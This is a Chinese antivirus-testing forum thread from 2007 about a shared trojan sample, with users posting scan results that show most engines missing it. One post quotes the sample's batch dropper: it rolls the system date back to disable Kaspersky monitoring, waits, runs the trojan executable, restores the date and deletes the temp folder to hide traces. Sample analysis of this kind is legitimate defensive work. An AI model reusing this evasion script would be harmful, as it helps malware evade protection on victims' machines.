三个 [MD5: B617B2 C60C24 EAD7C2]

显示全部楼层 · 发表于 2007-8-3 09:43:13

试试这个

显示全部楼层 · 发表于 2007-8-3 09:49:13

显示全部楼层 · 发表于 2007-8-3 09:50:34

显示全部楼层 · 发表于 2007-8-3 09:52:21

kis6.0 pass......

显示全部楼层 · 发表于 2007-8-3 10:59:10

+ -- ArcaVir 2007 -- + version: 1.0.5
+ Bases date: 20:33 02-08-2007

OK c:\malware\B617B2 C60C24 EAD7C2.rar
OK c:\malware\B617B2 C60C24 EAD7C2.rar<RAR>:mm.bat
OK c:\malware\B617B2 C60C24 EAD7C2.rar<RAR>:1.exe
OK c:\malware\B617B2 C60C24 EAD7C2.rar<RAR>:over.vbs

显示全部楼层 · 发表于 2007-8-3 11:10:57

江民只报1个

显示全部楼层 · 发表于 2007-8-3 11:53:02

卡巴全飘

显示全部楼层 · 发表于 2007-8-3 11:54:40

Found a virus or unwanted program 'TR/Crypt.FKM.Gen' [trojan]
in file 'E:\3.rar'.
Action taken:

红伞才报一个~~

显示全部楼层 · 发表于 2007-8-3 11:57:57

卡巴再次飘过……失望中……

还是看小红伞的吧：
Begin scan in 'C:\Documents and Settings\Administrator\桌面\3.rar'
C:\Documents and Settings\Administrator\桌面\3.rar
  [0] Archive type: RAR
  --> 3\1.exe
   [DETECTION] Is the Trojan horse TR/Crypt.FKM.Gen
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-8-3 12:44:26

还有注释

::======修改系统时间使卡巴监控失效============
set date=%date%

date 1990-01-01

::========倒计时等待15秒======================
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %temp%.\tmp$$$.vbs
set /a i = 15
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %temp%.\tmp$$$.vbs
goto Timeout
goto End

::===========倒计时等待结束后运行木马=============
:Next
%systemroot%\temp\8888.exe
for %%f in (%temp%.\tmp$$$.vbs*) do del %%f

::======恢复时间(卡巴监控)=======================
date %date% 让系统时间与Internet同步

::=========清除痕迹============================
RD /S /Q %systemroot%\temp\

[病毒样本] 三个 [MD5: B617B2 C60C24 EAD7C2]

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块